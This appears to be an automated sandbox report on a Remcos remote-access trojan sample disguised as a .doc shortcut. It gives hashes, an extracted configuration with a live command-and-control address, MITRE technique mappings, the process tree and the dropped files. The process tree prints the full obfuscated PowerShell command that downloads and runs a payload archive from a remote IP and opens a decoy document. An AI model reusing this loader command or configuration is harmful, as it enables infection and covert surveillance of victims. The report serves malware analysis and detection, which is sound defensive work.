remcos | 50b628bc603d846c04ab5dc56a5bc40b32b219c29211661f663ec7bb160a0554

Analysis

max time kernel
148s
max time network
137s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
07-09-2024 01:16

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General

Target

brt_1_0147.doc.lnk
Size

47KB
MD5

7f054fb90b37b4c6fa4ede910ee7425d
SHA1

f48454623fdb37da7797b43720e372926d6eca9d
SHA256

68fe63cdae0b90cd1df1d400879135d3c18522c98cf4a9473156b477a71529ce
SHA512

8f82f94ccba2034bec30a811de4cb04789dbbdfbe5a19479e65f6d58f5ab3e93717ecffb18a73a052b00b840bcd8beaa2f8c70bbd95a4e93c58bcea96bb32efb
SSDEEP

48:88muavUQSe9EGQwdfxvUZ7CFKxCI5BevUZ7vXRddCZZGXu/dZZIa7x:88y8MzdfxSxCIGuXRuqQ

Score

10^/10

remcos stalagg discovery rat

Malware Config

Extracted

Family

remcos

Botnet

stalagg

5.181.156.117:8576

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-5TL39W
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	4492	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
2328	scr_previw.exe
4532	scr_previw.exe

Loads dropped DLL 2 IoCs

pid	Process
2328	scr_previw.exe
4532	scr_previw.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4532 set thread context of 4444	4532	scr_previw.exe	100

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	scr_previw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	scr_previw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3676	WINWORD.EXE
3676	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4492	powershell.exe
4492	powershell.exe
2328	scr_previw.exe
4532	scr_previw.exe
4532	scr_previw.exe
4444	cmd.exe
4444	cmd.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
4532	scr_previw.exe
4444	cmd.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4492	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 5024 wrote to memory of 4492	5024	cmd.exe	84
PID 5024 wrote to memory of 4492	5024	cmd.exe	84
PID 4492 wrote to memory of 2328	4492	powershell.exe	97
PID 4492 wrote to memory of 2328	4492	powershell.exe	97
PID 4492 wrote to memory of 2328	4492	powershell.exe	97
PID 4492 wrote to memory of 3676	4492	powershell.exe	98
PID 4492 wrote to memory of 3676	4492	powershell.exe	98
PID 2328 wrote to memory of 4532	2328	scr_previw.exe	99
PID 2328 wrote to memory of 4532	2328	scr_previw.exe	99
PID 2328 wrote to memory of 4532	2328	scr_previw.exe	99
PID 4532 wrote to memory of 4444	4532	scr_previw.exe	100
PID 4532 wrote to memory of 4444	4532	scr_previw.exe	100
PID 4532 wrote to memory of 4444	4532	scr_previw.exe	100
PID 4532 wrote to memory of 4444	4532	scr_previw.exe	100
PID 4444 wrote to memory of 4120	4444	cmd.exe	106
PID 4444 wrote to memory of 4120	4444	cmd.exe	106
PID 4444 wrote to memory of 4120	4444	cmd.exe	106
PID 4444 wrote to memory of 4120	4444	cmd.exe	106
PID 4444 wrote to memory of 4120	4444	cmd.exe	106

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\brt_1_0147.doc.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo AndrfIhHlfnvKIhtnvYeqrAhmqLVwWJdoZlnqRyQvVyeaUwiaVcZTANG; echo zXMWRScaFTWIFOjLSXcfSRSTbmcsRQhjyNThYhe; echo OdjlPKboxgbXDOhZAdfzQBNtIOKUdvtxsMOxZfhUDhNKnBZGiU; if (-not(Test-Path 'glorytoukraine.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''t''p'':''/''/''5''.''18''1''.''1''56''.''117''/glorytoukraine.zip -OutFile glorytoukraine.zip}; echo YALlpWtPrIfNILIjixMVhnRHZhqAGvmeJkeGerStfmUCITNZvaFP; Expand-Archive -Path glorytoukraine.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/scr_previw.exe; echo xQVQdHjoZNMewzivMdVmrBYIIbjxAEunTwzhWADkAGoxQpGNXpbRgtNoT; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''t''p'':''/''/''5''.''18''1''.''1''56''.''117''/racs/brt_1_0147.doc -OutFile brt_1_0147.doc; echo sZXucWxIFfxCRlJoHaFxHVohDmYnMQgzycveSVaznWDmahqifS; s''t''a''rt brt_1_0147.doc
  2⤵
  - Blocklisted process makes network request
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4492
- - C:\Users\Admin\AppData\Roaming\SecurityCheck\scr_previw.exe
    "C:\Users\Admin\AppData\Roaming\SecurityCheck\scr_previw.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2328
  - - C:\Users\Admin\AppData\Roaming\SuperSync_test\scr_previw.exe
      C:\Users\Admin\AppData\Roaming\SuperSync_test\scr_previw.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:4532
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\SysWOW64\cmd.exe
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        Suspicious use of WriteProcessMemory
        
        PID:4444
      - C:\Windows\SysWOW64\explorer.exe
        
        C:\Windows\SysWOW64\explorer.exe
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4120
- - C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\brt_1_0147.doc" /o ""
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of SetWindowsHookEx
    PID:3676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\34188921

Filesize
1.2MB

MD5
e33dbe1a27e5aed39162450f4eab5888

SHA1
683dcc810993c771f23fd0099e7c4a52b88f72be

SHA256
242b9b4ef9cd4025ef210f0c236b7f148b7ea0ad461fa057f29591aff129d40b

SHA512
c0b4f4a2b34a7021348f8d6f9ce333df5b1ce7501693f56b3813b897690c0df0d78a07ba03e29203a31e57b1f60050ddc616bf0bea6660a7c139d4b3f8e9ab4d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCD3EF5.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_00zh2cvj.umk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

Filesize
430B

MD5
2ee3c22d4d949302cf6dc5c24fec3cfa

SHA1
ac3fe040762bbc5aaabca9d777071e3e456b3f8a

SHA256
3ce344434c1248bc12041ee25a9e7fd399b05417ae598ec7f52a43f1a9ea7a89

SHA512
a47e1b80184dbe3128682811be8c61f19b9f540705f5dea7e56d0e90dceec6708262977219f0de44ec11839ef06781f89ebe0e410d04a5cdd42ae9aa56b6e9c7

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
2KB

MD5
31a28aa9654a11f1bb741c409d3fe332

SHA1
d55ce8e1937d83d7bad044fb7cd3692a9c9a17e5

SHA256
367e52d501aff1ce86600504a702a24c30129699b03040407ec5c9555e30e4c8

SHA512
5dd66b8b8805e0b8edb23b3a51d755541274820adb09028bd7c655a0c94660bb25f2cc4b715de18cac38587432142ee3ff8c70b92e373fa0a76f490d25fd3fa9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
1KB

MD5
069f751fd8057d4c9cbb33b5d5753c85

SHA1
c581760cfe4d6b1638adb86a5d2d07e9daeabaad

SHA256
f6b36d61b96b50b160a149bb9aa78de73a03ce60d255f6b4e13222746ad917e3

SHA512
c557191c00d5e83bc647429f5e0004c65ce125f0fe5b5320fcb4b484703eb365677e9d21a7787e5d9de7aa18f60692823501a19eb49f955cc00fccfbf40f69fd

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\d3dx9_43.dll

Filesize
1.9MB

MD5
46e435aecb557fcb16ae2ea3b22ab7fd

SHA1
5290156599fd9575c4401c80949ad5672fe64da5

SHA256
70e0b720bb461503acbd947a8355fb629d703b8d7f99ddfbb09a0c71886861da

SHA512
621010aa44868062361c6dbb670f8664c370ddcb0afbb5835765470522c03bb5ac779e86236cfffdcf343cbc582f81beacd2a7108d78c90d4dfc4c38e7d23bb3

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\rnyt

Filesize
1.0MB

MD5
289d2d639e058b63ebe16bd8d543115d

SHA1
969736e5f6a2c416f556e2f73358020573486afc

SHA256
f21bf56c8d15824dc1cf4108725f73154b88a89ab23f00a7f8dbb2d2de8e2568

SHA512
7adf83c9795d9705c4c1345422d17ad26b6d4f27a8242674f44b2d2a05080e532d9a64c43803164bf25c4e9eb5cac7a0d3789d71e9f34b46b5b9c6203fad65aa

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\scr_previw.exe

Filesize
2.2MB

MD5
d9530ecee42acccfd3871672a511bc9e

SHA1
89b4d2406f1294bd699ef231a4def5f495f12778

SHA256
81e04f9a131534acc0e9de08718c062d3d74c80c7f168ec7e699cd4b2bd0f280

SHA512
d5f048ea995affdf9893ec4c5ac5eb188b6714f5b6712e0b5a316702033421b145b8ee6a62d303eb4576bf8f57273ff35c5d675807563a31157136f79d8a9980

Download Submit
C:\Users\Admin\AppData\Roaming\SecurityCheck\tkjm

Filesize
80KB

MD5
cae9827c507632c4a1980479c21a42a2

SHA1
d9a1c5900a93066645bf8fb7c79dacf56f3eaa3e

SHA256
efeec4c2f612130ec81f3796bba26471e14dcf97b0e22247b7c7f40ad2eba0cf

SHA512
441fb631ed26bfe5b84c4fd267a43fbacc64e0adae0e90d0d8e11a248fa2ab47d43a54f1cc3903532943d158d87a2e236976830834545b0d13471731b6f61768

Download Submit
C:\Users\Admin\AppData\Roaming\brt_1_0147.doc

Filesize
47KB

MD5
2616f33bfc84fecd6496c0e3bfbfb1b0

SHA1
e4f4fba392ba4a245415729a82aaa486ca31b2ba

SHA256
24fbc1c09ca302ed51429082130f7789d36c254c0fb165dd96c3f24b458536a4

SHA512
b5c585d7bbdce5e5c34447a311ccdb5b90e34cfd29671f2ebb05f01941e81ae7bcffbd42f5ed476e784684de70cb0fb67cedfd7e62c4c3b5cbe151fc6923dafb

Download Submit
memory/2328-54-0x00007FF9D1330000-0x00007FF9D1525000-memory.dmp

Filesize
2.0MB

Download
memory/2328-44-0x0000000074240000-0x00000000743BB000-memory.dmp

Filesize
1.5MB

Download
memory/3676-71-0x00007FF9913B0000-0x00007FF9913C0000-memory.dmp

Filesize
64KB

Download
memory/3676-67-0x00007FF9913B0000-0x00007FF9913C0000-memory.dmp

Filesize
64KB

Download
memory/3676-66-0x00007FF9913B0000-0x00007FF9913C0000-memory.dmp

Filesize
64KB

Download
memory/3676-65-0x00007FF9913B0000-0x00007FF9913C0000-memory.dmp

Filesize
64KB

Download
memory/3676-73-0x00007FF98ED60000-0x00007FF98ED70000-memory.dmp

Filesize
64KB

Download
memory/3676-74-0x00007FF98ED60000-0x00007FF98ED70000-memory.dmp

Filesize
64KB

Download
memory/3676-61-0x00007FF9913B0000-0x00007FF9913C0000-memory.dmp

Filesize
64KB

Download
memory/4120-502-0x0000000000500000-0x0000000000584000-memory.dmp

Filesize
528KB

Download
memory/4120-461-0x00007FF9D1330000-0x00007FF9D1525000-memory.dmp

Filesize
2.0MB

Download
memory/4120-462-0x0000000000500000-0x0000000000584000-memory.dmp

Filesize
528KB

Download
memory/4120-492-0x0000000000500000-0x0000000000584000-memory.dmp

Filesize
528KB

Download
memory/4444-423-0x0000000074240000-0x00000000743BB000-memory.dmp

Filesize
1.5MB

Download
memory/4444-124-0x00007FF9D1330000-0x00007FF9D1525000-memory.dmp

Filesize
2.0MB

Download
memory/4492-2-0x00007FF9B2E83000-0x00007FF9B2E85000-memory.dmp

Filesize
8KB

Download
memory/4492-17-0x00007FF9B2E80000-0x00007FF9B3941000-memory.dmp

Filesize
10.8MB

Download
memory/4492-16-0x00007FF9B2E80000-0x00007FF9B3941000-memory.dmp

Filesize
10.8MB

Download
memory/4492-15-0x00007FF9B2E83000-0x00007FF9B2E85000-memory.dmp

Filesize
8KB

Download
memory/4492-22-0x0000013339890000-0x000001333989A000-memory.dmp

Filesize
40KB

Download
memory/4492-14-0x00007FF9B2E80000-0x00007FF9B3941000-memory.dmp

Filesize
10.8MB

Download
memory/4492-13-0x00007FF9B2E80000-0x00007FF9B3941000-memory.dmp

Filesize
10.8MB

Download
memory/4492-57-0x00007FF9B2E80000-0x00007FF9B3941000-memory.dmp

Filesize
10.8MB

Download
memory/4492-8-0x0000013339420000-0x0000013339442000-memory.dmp

Filesize
136KB

Download
memory/4492-20-0x00007FF9B2E80000-0x00007FF9B3941000-memory.dmp

Filesize
10.8MB

Download
memory/4492-21-0x00000133398B0000-0x00000133398C2000-memory.dmp

Filesize
72KB

Download
memory/4532-72-0x0000000074240000-0x00000000743BB000-memory.dmp

Filesize
1.5MB

Download
memory/4532-109-0x0000000074240000-0x00000000743BB000-memory.dmp

Filesize
1.5MB

Download
memory/4532-75-0x00007FF9D1330000-0x00007FF9D1525000-memory.dmp

Filesize
2.0MB

Download